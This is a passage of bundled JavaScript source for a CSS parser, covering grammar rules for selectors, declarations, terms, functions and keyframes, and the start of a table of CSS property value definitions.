2332 pseudo = new SelectorSubPart(colons + pseudo, "pseudo", line, col);
2333 } else {
2334 var startLine = tokenStream.LT(1).startLine,
2335 startCol = tokenStream.LT(0).startCol;
2336 throw new SyntaxError("Expected a `FUNCTION` or `IDENT` after colon at line " + startLine + ", col " + startCol + ".", startLine, startCol);
2337 }
2338 }
2339
2340 return pseudo;
2341 },
2342
2343 //CSS3 Selectors
2344 _functional_pseudo: function() {
2345 /*
2346 * functional_pseudo
2347 * : FUNCTION S* expression ')'
2348 * ;
2349 */
2350
2351 var tokenStream = this._tokenStream,
2352 value = null;
2353
2354 if (tokenStream.match(Tokens.FUNCTION)) {
2355 value = tokenStream.token().value;
2356 value += this._readWhitespace();
2357 value += this._expression();
2358 tokenStream.mustMatch(Tokens.RPAREN);
2359 value += ")";
2360 }
2361
2362 return value;
2363 },
2364
2365 //CSS3 Selectors
2366 _expression: function() {
2367 /*
2368 * expression
2369 * : [ [ PLUS | '-' | DIMENSION | NUMBER | STRING | IDENT ] S* ]+
2370 * ;
2371 */
2372
2373 var tokenStream = this._tokenStream,
2374 value = "";
2375
2376 while (tokenStream.match([Tokens.PLUS, Tokens.MINUS, Tokens.DIMENSION,
2377 Tokens.NUMBER, Tokens.STRING, Tokens.IDENT, Tokens.LENGTH,
2378 Tokens.FREQ, Tokens.ANGLE, Tokens.TIME,
2379 Tokens.RESOLUTION, Tokens.SLASH])) {
2380
2381 value += tokenStream.token().value;
2382 value += this._readWhitespace();
2383 }
2384
2385 return value.length ? value : null;
2386
2387 },
2388
2389 //CSS3 Selectors
2390 _negation: function() {
2391 /*
2392 * negation
2393 * : NOT S* negation_arg S* ')'
2394 * ;
2395 */
2396
2397 var tokenStream = this._tokenStream,
2398 line,
2399 col,
2400 value = "",
2401 arg,
2402 subpart = null;
2403
2404 if (tokenStream.match(Tokens.NOT)) {
2405 value = tokenStream.token().value;
2406 line = tokenStream.token().startLine;
2407 col = tokenStream.token().startCol;
2408 value += this._readWhitespace();
2409 arg = this._negation_arg();
2410 value += arg;
2411 value += this._readWhitespace();
2412 tokenStream.match(Tokens.RPAREN);
2413 value += tokenStream.token().value;
2414
2415 subpart = new SelectorSubPart(value, "not", line, col);
2416 subpart.args.push(arg);
2417 }
2418
2419 return subpart;
2420 },
2421
2422 //CSS3 Selectors
2423 _negation_arg: function() {
2424 /*
2425 * negation_arg
2426 * : type_selector | universal | HASH | class | attrib | pseudo
2427 * ;
2428 */
2429
2430 var tokenStream = this._tokenStream,
2431 args = [
2432 this._type_selector,
2433 this._universal,
2434 function() {
2435 return tokenStream.match(Tokens.HASH) ?
2436 new SelectorSubPart(tokenStream.token().value, "id", tokenStream.token().startLine, tokenStream.token().startCol) :
2437 null;
2438 },
2439 this._class,
2440 this._attrib,
2441 this._pseudo
2442 ],
2443 arg = null,
2444 i = 0,
2445 len = args.length,
2446 line,
2447 col,
2448 part;
2449
2450 line = tokenStream.LT(1).startLine;
2451 col = tokenStream.LT(1).startCol;
2452
2453 while (i < len && arg === null) {
2454
2455 arg = args[i].call(this);
2456 i++;
2457 }
2458
2459 //must be a negation arg
2460 if (arg === null) {
2461 this._unexpectedToken(tokenStream.LT(1));
2462 }
2463
2464 //it's an element name
2465 if (arg.type === "elementName") {
2466 part = new SelectorPart(arg, [], arg.toString(), line, col);
2467 } else {
2468 part = new SelectorPart(null, [arg], arg.toString(), line, col);
2469 }
2470
2471 return part;
2472 },
2473
2474 _declaration: function() {
2475
2476 /*
2477 * declaration
2478 * : property ':' S* expr prio?
2479 * | /( empty )/
2480 * ;
2481 */
2482
2483 var tokenStream = this._tokenStream,
2484 property = null,
2485 expr = null,
2486 prio = null,
2487 invalid = null,
2488 propertyName= "";
2489
2490 property = this._property();
2491 if (property !== null) {
2492
2493 tokenStream.mustMatch(Tokens.COLON);
2494 this._readWhitespace();
2495
2496 expr = this._expr();
2497
2498 //if there's no parts for the value, it's an error
2499 if (!expr || expr.length === 0) {
2500 this._unexpectedToken(tokenStream.LT(1));
2501 }
2502
2503 prio = this._prio();
2504
2505 /*
2506 * If hacks should be allowed, then only check the root
2507 * property. If hacks should not be allowed, treat
2508 * _property or *property as invalid properties.
2509 */
2510 propertyName = property.toString();
2511 if (this.options.starHack && property.hack === "*" ||
2512 this.options.underscoreHack && property.hack === "_") {
2513
2514 propertyName = property.text;
2515 }
2516
2517 try {
2518 this._validateProperty(propertyName, expr);
2519 } catch (ex) {
2520 invalid = ex;
2521 }
2522
2523 this.fire({
2524 type: "property",
2525 property: property,
2526 value: expr,
2527 important: prio,
2528 line: property.line,
2529 col: property.col,
2530 invalid: invalid
2531 });
2532
2533 return true;
2534 } else {
2535 return false;
2536 }
2537 },
2538
2539 _prio: function() {
2540 /*
2541 * prio
2542 * : IMPORTANT_SYM S*
2543 * ;
2544 */
2545
2546 var tokenStream = this._tokenStream,
2547 result = tokenStream.match(Tokens.IMPORTANT_SYM);
2548
2549 this._readWhitespace();
2550 return result;
2551 },
2552
2553 _expr: function(inFunction) {
2554 /*
2555 * expr
2556 * : term [ operator term ]*
2557 * ;
2558 */
2559
2560 var values = [],
2561 //valueParts = [],
2562 value = null,
2563 operator = null;
2564
2565 value = this._term(inFunction);
2566 if (value !== null) {
2567
2568 values.push(value);
2569
2570 do {
2571 operator = this._operator(inFunction);
2572
2573 //if there's an operator, keep building up the value parts
2574 if (operator) {
2575 values.push(operator);
2576 } /*else {
2577 //if there's not an operator, you have a full value
2578 values.push(new PropertyValue(valueParts, valueParts[0].line, valueParts[0].col));
2579 valueParts = [];
2580 }*/
2581
2582 value = this._term(inFunction);
2583
2584 if (value === null) {
2585 break;
2586 } else {
2587 values.push(value);
2588 }
2589 } while (true);
2590 }
2591
2592 //cleanup
2593 /*if (valueParts.length) {
2594 values.push(new PropertyValue(valueParts, valueParts[0].line, valueParts[0].col));
2595 }*/
2596
2597 return values.length > 0 ? new PropertyValue(values, values[0].line, values[0].col) : null;
2598 },
2599
2600 _term: function(inFunction) {
2601
2602 /*
2603 * term
2604 * : unary_operator?
2605 * [ NUMBER S* | PERCENTAGE S* | LENGTH S* | ANGLE S* |
2606 * TIME S* | FREQ S* | function | ie_function ]
2607 * | STRING S* | IDENT S* | URI S* | UNICODERANGE S* | hexcolor
2608 * ;
2609 */
2610
2611 var tokenStream = this._tokenStream,
2612 unary = null,
2613 value = null,
2614 endChar = null,
2615 part = null,
2616 token,
2617 line,
2618 col;
2619
2620 //returns the operator or null
2621 unary = this._unary_operator();
2622 if (unary !== null) {
2623 line = tokenStream.token().startLine;
2624 col = tokenStream.token().startCol;
2625 }
2626
2627 //exception for IE filters
2628 if (tokenStream.peek() === Tokens.IE_FUNCTION && this.options.ieFilters) {
2629
2630 value = this._ie_function();
2631 if (unary === null) {
2632 line = tokenStream.token().startLine;
2633 col = tokenStream.token().startCol;
2634 }
2635
2636 //see if it's a simple block
2637 } else if (inFunction && tokenStream.match([Tokens.LPAREN, Tokens.LBRACE, Tokens.LBRACKET])) {
2638
2639 token = tokenStream.token();
2640 endChar = token.endChar;
2641 value = token.value + this._expr(inFunction).text;
2642 if (unary === null) {
2643 line = tokenStream.token().startLine;
2644 col = tokenStream.token().startCol;
2645 }
2646 tokenStream.mustMatch(Tokens.type(endChar));
2647 value += endChar;
2648 this._readWhitespace();
2649
2650 //see if there's a simple match
2651 } else if (tokenStream.match([Tokens.NUMBER, Tokens.PERCENTAGE, Tokens.LENGTH,
2652 Tokens.ANGLE, Tokens.TIME,
2653 Tokens.FREQ, Tokens.STRING, Tokens.IDENT, Tokens.URI, Tokens.UNICODE_RANGE])) {
2654
2655 value = tokenStream.token().value;
2656 if (unary === null) {
2657 line = tokenStream.token().startLine;
2658 col = tokenStream.token().startCol;
2659 // Correct potentially-inaccurate IDENT parsing in
2660 // PropertyValuePart constructor.
2661 part = PropertyValuePart.fromToken(tokenStream.token());
2662 }
2663 this._readWhitespace();
2664 } else {
2665
2666 //see if it's a color
2667 token = this._hexcolor();
2668 if (token === null) {
2669
2670 //if there's no unary, get the start of the next token for line/col info
2671 if (unary === null) {
2672 line = tokenStream.LT(1).startLine;
2673 col = tokenStream.LT(1).startCol;
2674 }
2675
2676 //has to be a function
2677 if (value === null) {
2678
2679 /*
2680 * This checks for alpha(opacity=0) style of IE
2681 * functions. IE_FUNCTION only presents progid: style.
2682 */
2683 if (tokenStream.LA(3) === Tokens.EQUALS && this.options.ieFilters) {
2684 value = this._ie_function();
2685 } else {
2686 value = this._function();
2687 }
2688 }
2689
2690 /*if (value === null) {
2691 return null;
2692 //throw new Error("Expected identifier at line " + tokenStream.token().startLine + ", character " + tokenStream.token().startCol + ".");
2693 }*/
2694
2695 } else {
2696 value = token.value;
2697 if (unary === null) {
2698 line = token.startLine;
2699 col = token.startCol;
2700 }
2701 }
2702
2703 }
2704
2705 return part !== null ? part : value !== null ?
2706 new PropertyValuePart(unary !== null ? unary + value : value, line, col) :
2707 null;
2708
2709 },
2710
2711 _function: function() {
2712
2713 /*
2714 * function
2715 * : FUNCTION S* expr ')' S*
2716 * ;
2717 */
2718
2719 var tokenStream = this._tokenStream,
2720 functionText = null,
2721 expr = null,
2722 lt;
2723
2724 if (tokenStream.match(Tokens.FUNCTION)) {
2725 functionText = tokenStream.token().value;
2726 this._readWhitespace();
2727 expr = this._expr(true);
2728 functionText += expr;
2729
2730 //START: Horrible hack in case it's an IE filter
2731 if (this.options.ieFilters && tokenStream.peek() === Tokens.EQUALS) {
2732 do {
2733
2734 if (this._readWhitespace()) {
2735 functionText += tokenStream.token().value;
2736 }
2737
2738 //might be second time in the loop
2739 if (tokenStream.LA(0) === Tokens.COMMA) {
2740 functionText += tokenStream.token().value;
2741 }
2742
2743 tokenStream.match(Tokens.IDENT);
2744 functionText += tokenStream.token().value;
2745
2746 tokenStream.match(Tokens.EQUALS);
2747 functionText += tokenStream.token().value;
2748
2749 //functionText += this._term();
2750 lt = tokenStream.peek();
2751 while (lt !== Tokens.COMMA && lt !== Tokens.S && lt !== Tokens.RPAREN) {
2752 tokenStream.get();
2753 functionText += tokenStream.token().value;
2754 lt = tokenStream.peek();
2755 }
2756 } while (tokenStream.match([Tokens.COMMA, Tokens.S]));
2757 }
2758
2759 //END: Horrible Hack
2760
2761 tokenStream.match(Tokens.RPAREN);
2762 functionText += ")";
2763 this._readWhitespace();
2764 }
2765
2766 return functionText;
2767 },
2768
2769 _ie_function: function() {
2770
2771 /* (My own extension)
2772 * ie_function
2773 * : IE_FUNCTION S* IDENT '=' term [S* ','? IDENT '=' term]+ ')' S*
2774 * ;
2775 */
2776
2777 var tokenStream = this._tokenStream,
2778 functionText = null,
2779 lt;
2780
2781 //IE function can begin like a regular function, too
2782 if (tokenStream.match([Tokens.IE_FUNCTION, Tokens.FUNCTION])) {
2783 functionText = tokenStream.token().value;
2784
2785 do {
2786
2787 if (this._readWhitespace()) {
2788 functionText += tokenStream.token().value;
2789 }
2790
2791 //might be second time in the loop
2792 if (tokenStream.LA(0) === Tokens.COMMA) {
2793 functionText += tokenStream.token().value;
2794 }
2795
2796 tokenStream.match(Tokens.IDENT);
2797 functionText += tokenStream.token().value;
2798
2799 tokenStream.match(Tokens.EQUALS);
2800 functionText += tokenStream.token().value;
2801
2802 //functionText += this._term();
2803 lt = tokenStream.peek();
2804 while (lt !== Tokens.COMMA && lt !== Tokens.S && lt !== Tokens.RPAREN) {
2805 tokenStream.get();
2806 functionText += tokenStream.token().value;
2807 lt = tokenStream.peek();
2808 }
2809 } while (tokenStream.match([Tokens.COMMA, Tokens.S]));
2810
2811 tokenStream.match(Tokens.RPAREN);
2812 functionText += ")";
2813 this._readWhitespace();
2814 }
2815
2816 return functionText;
2817 },
2818
2819 _hexcolor: function() {
2820 /*
2821 * There is a constraint on the color that it must
2822 * have either 3 or 6 hex-digits (i.e., [0-9a-fA-F])
2823 * after the "#"; e.g., "#000" is OK, but "#abcd" is not.
2824 *
2825 * hexcolor
2826 * : HASH S*
2827 * ;
2828 */
2829
2830 var tokenStream = this._tokenStream,
2831 token = null,
2832 color;
2833
2834 if (tokenStream.match(Tokens.HASH)) {
2835
2836 //need to do some validation here
2837
2838 token = tokenStream.token();
2839 color = token.value;
2840 if (!/#[a-f0-9]{3,6}/i.test(color)) {
2841 throw new SyntaxError("Expected a hex color but found '" + color + "' at line " + token.startLine + ", col " + token.startCol + ".", token.startLine, token.startCol);
2842 }
2843 this._readWhitespace();
2844 }
2845
2846 return token;
2847 },
2848
2849 //-----------------------------------------------------------------
2850 // Animations methods
2851 //-----------------------------------------------------------------
2852
2853 _keyframes: function() {
2854
2855 /*
2856 * keyframes:
2857 * : KEYFRAMES_SYM S* keyframe_name S* '{' S* keyframe_rule* '}' {
2858 * ;
2859 */
2860 var tokenStream = this._tokenStream,
2861 token,
2862 tt,
2863 name,
2864 prefix = "";
2865
2866 tokenStream.mustMatch(Tokens.KEYFRAMES_SYM);
2867 token = tokenStream.token();
2868 if (/^@\-([^\-]+)\-/.test(token.value)) {
2869 prefix = RegExp.$1;
2870 }
2871
2872 this._readWhitespace();
2873 name = this._keyframe_name();
2874
2875 this._readWhitespace();
2876 tokenStream.mustMatch(Tokens.LBRACE);
2877
2878 this.fire({
2879 type: "startkeyframes",
2880 name: name,
2881 prefix: prefix,
2882 line: token.startLine,
2883 col: token.startCol
2884 });
2885
2886 this._readWhitespace();
2887 tt = tokenStream.peek();
2888
2889 //check for key
2890 while (tt === Tokens.IDENT || tt === Tokens.PERCENTAGE) {
2891 this._keyframe_rule();
2892 this._readWhitespace();
2893 tt = tokenStream.peek();
2894 }
2895
2896 this.fire({
2897 type: "endkeyframes",
2898 name: name,
2899 prefix: prefix,
2900 line: token.startLine,
2901 col: token.startCol
2902 });
2903
2904 this._readWhitespace();
2905 tokenStream.mustMatch(Tokens.RBRACE);
2906 this._readWhitespace();
2907
2908 },
2909
2910 _keyframe_name: function() {
2911
2912 /*
2913 * keyframe_name:
2914 * : IDENT
2915 * | STRING
2916 * ;
2917 */
2918 var tokenStream = this._tokenStream;
2919
2920 tokenStream.mustMatch([Tokens.IDENT, Tokens.STRING]);
2921 return SyntaxUnit.fromToken(tokenStream.token());
2922 },
2923
2924 _keyframe_rule: function() {
2925
2926 /*
2927 * keyframe_rule:
2928 * : key_list S*
2929 * '{' S* declaration [ ';' S* declaration ]* '}' S*
2930 * ;
2931 */
2932 var keyList = this._key_list();
2933
2934 this.fire({
2935 type: "startkeyframerule",
2936 keys: keyList,
2937 line: keyList[0].line,
2938 col: keyList[0].col
2939 });
2940
2941 this._readDeclarations(true);
2942
2943 this.fire({
2944 type: "endkeyframerule",
2945 keys: keyList,
2946 line: keyList[0].line,
2947 col: keyList[0].col
2948 });
2949
2950 },
2951
2952 _key_list: function() {
2953
2954 /*
2955 * key_list:
2956 * : key [ S* ',' S* key]*
2957 * ;
2958 */
2959 var tokenStream = this._tokenStream,
2960 keyList = [];
2961
2962 //must be least one key
2963 keyList.push(this._key());
2964
2965 this._readWhitespace();
2966
2967 while (tokenStream.match(Tokens.COMMA)) {
2968 this._readWhitespace();
2969 keyList.push(this._key());
2970 this._readWhitespace();
2971 }
2972
2973 return keyList;
2974 },
2975
2976 _key: function() {
2977 /*
2978 * There is a restriction that IDENT can be only "from" or "to".
2979 *
2980 * key
2981 * : PERCENTAGE
2982 * | IDENT
2983 * ;
2984 */
2985
2986 var tokenStream = this._tokenStream,
2987 token;
2988
2989 if (tokenStream.match(Tokens.PERCENTAGE)) {
2990 return SyntaxUnit.fromToken(tokenStream.token());
2991 } else if (tokenStream.match(Tokens.IDENT)) {
2992 token = tokenStream.token();
2993
2994 if (/from|to/i.test(token.value)) {
2995 return SyntaxUnit.fromToken(token);
2996 }
2997
2998 tokenStream.unget();
2999 }
3000
3001 //if it gets here, there wasn't a valid token, so time to explode
3002 this._unexpectedToken(tokenStream.LT(1));
3003 },
3004
3005 //-----------------------------------------------------------------
3006 // Helper methods
3007 //-----------------------------------------------------------------
3008
3009 /**
3010 * Not part of CSS grammar, but useful for skipping over
3011 * combination of white space and HTML-style comments.
3012 * @return {void}
3013 * @method _skipCruft
3014 * @private
3015 */
3016 _skipCruft: function() {
3017 while (this._tokenStream.match([Tokens.S, Tokens.CDO, Tokens.CDC])) {
3018 //noop
3019 }
3020 },
3021
3022 /**
3023 * Not part of CSS grammar, but this pattern occurs frequently
3024 * in the official CSS grammar. Split out here to eliminate
3025 * duplicate code.
3026 * @param {Boolean} checkStart Indicates if the rule should check
3027 * for the left brace at the beginning.
3028 * @param {Boolean} readMargins Indicates if the rule should check
3029 * for margin patterns.
3030 * @return {void}
3031 * @method _readDeclarations
3032 * @private
3033 */
3034 _readDeclarations: function(checkStart, readMargins) {
3035 /*
3036 * Reads the pattern
3037 * S* '{' S* declaration [ ';' S* declaration ]* '}' S*
3038 * or
3039 * S* '{' S* [ declaration | margin ]? [ ';' S* [ declaration | margin ]? ]* '}' S*
3040 * Note that this is how it is described in CSS3 Paged Media, but is actually incorrect.
3041 * A semicolon is only necessary following a declaration if there's another declaration
3042 * or margin afterwards.
3043 */
3044 var tokenStream = this._tokenStream,
3045 tt;
3046
3047
3048 this._readWhitespace();
3049
3050 if (checkStart) {
3051 tokenStream.mustMatch(Tokens.LBRACE);
3052 }
3053
3054 this._readWhitespace();
3055
3056 try {
3057
3058 while (true) {
3059
3060 if (tokenStream.match(Tokens.SEMICOLON) || (readMargins && this._margin())) {
3061 //noop
3062 } else if (this._declaration()) {
3063 if (!tokenStream.match(Tokens.SEMICOLON)) {
3064 break;
3065 }
3066 } else {
3067 break;
3068 }
3069
3070 //if ((!this._margin() && !this._declaration()) || !tokenStream.match(Tokens.SEMICOLON)){
3071 // break;
3072 //}
3073 this._readWhitespace();
3074 }
3075
3076 tokenStream.mustMatch(Tokens.RBRACE);
3077 this._readWhitespace();
3078
3079 } catch (ex) {
3080 if (ex instanceof SyntaxError && !this.options.strict) {
3081
3082 //fire error event
3083 this.fire({
3084 type: "error",
3085 error: ex,
3086 message: ex.message,
3087 line: ex.line,
3088 col: ex.col
3089 });
3090
3091 //see if there's another declaration
3092 tt = tokenStream.advance([Tokens.SEMICOLON, Tokens.RBRACE]);
3093 if (tt === Tokens.SEMICOLON) {
3094 //if there's a semicolon, then there might be another declaration
3095 this._readDeclarations(false, readMargins);
3096 } else if (tt !== Tokens.RBRACE) {
3097 //if there's a right brace, the rule is finished so don't do anything
3098 //otherwise, rethrow the error because it wasn't handled properly
3099 throw ex;
3100 }
3101
3102 } else {
3103 //not a syntax error, rethrow it
3104 throw ex;
3105 }
3106 }
3107
3108 },
3109
3110 /**
3111 * In some cases, you can end up with two white space tokens in a
3112 * row. Instead of making a change in every function that looks for
3113 * white space, this function is used to match as much white space
3114 * as necessary.
3115 * @method _readWhitespace
3116 * @return {String} The white space if found, empty string if not.
3117 * @private
3118 */
3119 _readWhitespace: function() {
3120
3121 var tokenStream = this._tokenStream,
3122 ws = "";
3123
3124 while (tokenStream.match(Tokens.S)) {
3125 ws += tokenStream.token().value;
3126 }
3127
3128 return ws;
3129 },
3130
3131
3132 /**
3133 * Throws an error when an unexpected token is found.
3134 * @param {Object} token The token that was found.
3135 * @method _unexpectedToken
3136 * @return {void}
3137 * @private
3138 */
3139 _unexpectedToken: function(token) {
3140 throw new SyntaxError("Unexpected token '" + token.value + "' at line " + token.startLine + ", col " + token.startCol + ".", token.startLine, token.startCol);
3141 },
3142
3143 /**
3144 * Helper method used for parsing subparts of a style sheet.
3145 * @return {void}
3146 * @method _verifyEnd
3147 * @private
3148 */
3149 _verifyEnd: function() {
3150 if (this._tokenStream.LA(1) !== Tokens.EOF) {
3151 this._unexpectedToken(this._tokenStream.LT(1));
3152 }
3153 },
3154
3155 //-----------------------------------------------------------------
3156 // Validation methods
3157 //-----------------------------------------------------------------
3158 _validateProperty: function(property, value) {
3159 Validation.validate(property, value);
3160 },
3161
3162 //-----------------------------------------------------------------
3163 // Parsing methods
3164 //-----------------------------------------------------------------
3165
3166 parse: function(input) {
3167 this._tokenStream = new TokenStream(input, Tokens);
3168 this._stylesheet();
3169 },
3170
3171 parseStyleSheet: function(input) {
3172 //just passthrough
3173 return this.parse(input);
3174 },
3175
3176 parseMediaQuery: function(input) {
3177 this._tokenStream = new TokenStream(input, Tokens);
3178 var result = this._media_query();
3179
3180 //if there's anything more, then it's an invalid selector
3181 this._verifyEnd();
3182
3183 //otherwise return result
3184 return result;
3185 },
3186
3187 /**
3188 * Parses a property value (everything after the semicolon).
3189 * @return {parserlib.css.PropertyValue} The property value.
3190 * @throws parserlib.util.SyntaxError If an unexpected token is found.
3191 * @method parserPropertyValue
3192 */
3193 parsePropertyValue: function(input) {
3194
3195 this._tokenStream = new TokenStream(input, Tokens);
3196 this._readWhitespace();
3197
3198 var result = this._expr();
3199
3200 //okay to have a trailing white space
3201 this._readWhitespace();
3202
3203 //if there's anything more, then it's an invalid selector
3204 this._verifyEnd();
3205
3206 //otherwise return result
3207 return result;
3208 },
3209
3210 /**
3211 * Parses a complete CSS rule, including selectors and
3212 * properties.
3213 * @param {String} input The text to parser.
3214 * @return {Boolean} True if the parse completed successfully, false if not.
3215 * @method parseRule
3216 */
3217 parseRule: function(input) {
3218 this._tokenStream = new TokenStream(input, Tokens);
3219
3220 //skip any leading white space
3221 this._readWhitespace();
3222
3223 var result = this._ruleset();
3224
3225 //skip any trailing white space
3226 this._readWhitespace();
3227
3228 //if there's anything more, then it's an invalid selector
3229 this._verifyEnd();
3230
3231 //otherwise return result
3232 return result;
3233 },
3234
3235 /**
3236 * Parses a single CSS selector (no comma)
3237 * @param {String} input The text to parse as a CSS selector.
3238 * @return {Selector} An object representing the selector.
3239 * @throws parserlib.util.SyntaxError If an unexpected token is found.
3240 * @method parseSelector
3241 */
3242 parseSelector: function(input) {
3243
3244 this._tokenStream = new TokenStream(input, Tokens);
3245
3246 //skip any leading white space
3247 this._readWhitespace();
3248
3249 var result = this._selector();
3250
3251 //skip any trailing white space
3252 this._readWhitespace();
3253
3254 //if there's anything more, then it's an invalid selector
3255 this._verifyEnd();
3256
3257 //otherwise return result
3258 return result;
3259 },
3260
3261 /**
3262 * Parses an HTML style attribute: a set of CSS declarations
3263 * separated by semicolons.
3264 * @param {String} input The text to parse as a style attribute
3265 * @return {void}
3266 * @method parseStyleAttribute
3267 */
3268 parseStyleAttribute: function(input) {
3269 input += "}"; // for error recovery in _readDeclarations()
3270 this._tokenStream = new TokenStream(input, Tokens);
3271 this._readDeclarations();
3272 }
3273 };
3274
3275 //copy over onto prototype
3276 for (prop in additions) {
3277 if (Object.prototype.hasOwnProperty.call(additions, prop)) {
3278 proto[prop] = additions[prop];
3279 }
3280 }
3281
3282 return proto;
3283}();
3284
3285
3286/*
3287nth
3288 : S* [ ['-'|'+']? INTEGER? {N} [ S* ['-'|'+'] S* INTEGER ]? |
3289 ['-'|'+']? INTEGER | {O}{D}{D} | {E}{V}{E}{N} ] S*
3290 ;
3291*/
3292
3293},{"../util/EventTarget":23,"../util/SyntaxError":25,"../util/SyntaxUnit":26,"./Combinator":2,"./MediaFeature":4,"./MediaQuery":5,"./PropertyName":8,"./PropertyValue":9,"./PropertyValuePart":11,"./Selector":13,"./SelectorPart":14,"./SelectorSubPart":15,"./TokenStream":17,"./Tokens":18,"./Validation":19}],7:[function(require,module,exports){
3294"use strict";
3295
3296/* exported Properties */
3297
3298var Properties = module.exports = {
3299 __proto__: null,
3300
3301 //A
3302 "align-items" : "flex-start | flex-end | center | baseline | stretch",
3303 "align-content" : "flex-start | flex-end | center | space-between | space-around | stretch",
3304 "align-self" : "auto | flex-start | flex-end | center | baseline | stretch",
3305 "all" : "initial | inherit | unset",
3306 "-webkit-align-items" : "flex-start | flex-end | center | baseline | stretch",
3307 "-webkit-align-content" : "flex-start | flex-end | center | space-between | space-around | stretch",
3308 "-webkit-align-self" : "auto | flex-start | flex-end | center | baseline | stretch",
3309 "alignment-adjust" : "auto | baseline | before-edge | text-before-edge | middle | central | after-edge | text-after-edge | ideographic | alphabetic | hanging | mathematical | <percentage> | <length>",
3310 "alignment-baseline" : "auto | baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical",
3311 "animation" : 1,
3312 "animation-delay" : "<time>#",
3313 "animation-direction" : "<single-animation-direction>#",
3314 "animation-duration" : "<time>#",
3315 "animation-fill-mode" : "[ none | forwards | backwards | both ]#",
3316 "animation-iteration-count" : "[ <number> | infinite ]#",
3317 "animation-name" : "[ none | <single-animation-name> ]#",
3318 "animation-play-state" : "[ running | paused ]#",
3319 "animation-timing-function" : 1,
3320
3321 //vendor prefixed
3322 "-moz-animation-delay" : "<time>#",
3323 "-moz-animation-direction" : "[ normal | alternate ]#",
3324 "-moz-animation-duration" : "<time>#",
3325 "-moz-animation-iteration-count" : "[ <number> | infinite ]#",
3326 "-moz-animation-name" : "[ none | <single-animation-name> ]#",
3327 "-moz-animation-play-state" : "[ running | paused ]#",
3328
3329 "-ms-animation-delay" : "<time>#",
3330 "-ms-animation-direction" : "[ normal | alternate ]#",
3331 "-ms-animation-duration" : "<time>#",
3332 "-ms-animation-iteration-count" : "[ <number> | infinite ]#",
3333 "-ms-animation-name" : "[ none | <single-animation-name> ]#",
3334 "-ms-animation-play-state" : "[ running | paused ]#",
3335
3336 "-webkit-animation-delay" : "<time>#",
3337 "-webkit-animation-direction" : "[ normal | alternate ]#",
3338 "-webkit-animation-duration" : "<time>#",
3339 "-webkit-animation-fill-mode" : "[ none | forwards | backwards | both ]#",
3340 "-webkit-animation-iteration-count" : "[ <number> | infinite ]#",
3341 "-webkit-animation-name" : "[ none | <single-animation-name> ]#",
3342 "-webkit-animation-play-state" : "[ running | paused ]#",
3343
3344 "-o-animation-delay" : "<time>#",
3345 "-o-animation-direction" : "[ normal | alternate ]#",
3346 "-o-animation-duration" : "<time>#",
3347 "-o-animation-iteration-count" : "[ <number> | infinite ]#",
3348 "-o-animation-name" : "[ none | <single-animation-name> ]#",
3349 "-o-animation-play-state" : "[ running | paused ]#",
3350
3351 "appearance" : "none | auto",
3352 "-moz-appearance" : "none | button | button-arrow-down | button-arrow-next | button-arrow-previous | button-arrow-up | button-bevel | button-focus | caret | checkbox | checkbox-container | checkbox-label | checkmenuitem | dualbutton | groupbox | listbox | listitem | menuarrow | menubar | menucheckbox | menuimage | menuitem | menuitemtext | menulist | menulist-button | menulist-text | menulist-textfield | menupopup | menuradio | menuseparator | meterbar | meterchunk | progressbar | progressbar-vertical | progresschunk | progresschunk-vertical | radio | radio-container | radio-label | radiomenuitem | range | range-thumb | resizer | resizerpanel | scale-horizontal | scalethumbend | scalethumb-horizontal | scalethumbstart | scalethumbtick | scalethumb-vertical | scale-vertical | scrollbarbutton-down | scrollbarbutton-left | scrollbarbutton-right | scrollbarbutton-up | scrollbarthumb-horizontal | scrollbarthumb-vertical | scrollbartrack-horizontal | scrollbartrack-vertical | searchfield | separator | sheet | spinner | spinner-downbutton | spinner-textfield | spinner-upbutton | splitter | statusbar | statusbarpanel | tab | tabpanel | tabpanels | tab-scroll-arrow-back | tab-scroll-arrow-forward | textfield | textfield-multiline | toolbar | toolbarbutton | toolbarbutton-dropdown | toolbargripper | toolbox | tooltip | treeheader | treeheadercell | treeheadersortarrow | treeitem | treeline | treetwisty | treetwistyopen | treeview | -moz-mac-unified-toolbar | -moz-win-borderless-glass | -moz-win-browsertabbar-toolbox | -moz-win-communicationstext | -moz-win-communications-toolbox | -moz-win-exclude-glass | -moz-win-glass | -moz-win-mediatext | -moz-win-media-toolbox | -moz-window-button-box | -moz-window-button-box-maximized | -moz-window-button-close | -moz-window-button-maximize | -moz-window-button-minimize | -moz-window-button-restore | -moz-window-frame-bottom | -moz-window-frame-left | -moz-window-frame-right | -moz-window-titlebar | -moz-window-titlebar-maximized",
3353 "-ms-appearance" : "none | icon | window | desktop | workspace | document | tooltip | dialog | button | push-button | hyperlink | radio | radio-button | checkbox | menu-item | tab | menu | menubar | pull-down-menu | pop-up-menu | list-menu | radio-group | checkbox-group | outline-tree | range | field | combo-box | signature | password | normal",
3354 "-webkit-appearance" : "none | button | button-bevel | caps-lock-indicator | caret | checkbox | default-button | listbox | listitem | media-fullscreen-button | media-mute-button | media-play-button | media-seek-back-button | media-seek-forward-button | media-slider | media-sliderthumb | menulist | menulist-button | menulist-text | menulist-textfield | push-button | radio | searchfield | searchfield-cancel-button | searchfield-decoration | searchfield-results-button | searchfield-results-decoration | slider-horizontal | slider-vertical | sliderthumb-horizontal | sliderthumb-vertical | square-button | textarea | textfield | scrollbarbutton-down | scrollbarbutton-left | scrollbarbutton-right | scrollbarbutton-up | scrollbargripper-horizontal | scrollbargripper-vertical | scrollbarthumb-horizontal | scrollbarthumb-vertical | scrollbartrack-horizontal | scrollbartrack-vertical",
3355 "-o-appearance" : "none | window | desktop | workspace | document | tooltip | dialog | button | push-button | hyperlink | radio | radio-button | checkbox | menu-item | tab | menu | menubar | pull-down-menu | pop-up-menu | list-menu | radio-group | checkbox-group | outline-tree | range | field | combo-box | signature | password | normal",
3356
3357 "azimuth" : "<azimuth>",
3358
3359 //B
3360 "backface-visibility" : "visible | hidden",
3361 "background" : 1,
3362 "background-attachment" : "<attachment>#",
3363 "background-clip" : "<box>#",
3364 "background-color" : "<color>",
3365 "background-image" : "<bg-image>#",
3366 "background-origin" : "<box>#",
3367 "background-position" : "<bg-position>",
3368 "background-repeat" : "<repeat-style>#",
3369 "background-size" : "<bg-size>#",
3370 "baseline-shift" : "baseline | sub | super | <percentage> | <length>",
3371 "behavior" : 1,
3372 "binding" : 1,
3373 "bleed" : "<length>",
3374 "bookmark-label" : "<content> | <attr> | <string>",
3375 "bookmark-level" : "none | <integer>",
3376 "bookmark-state" : "open | closed",
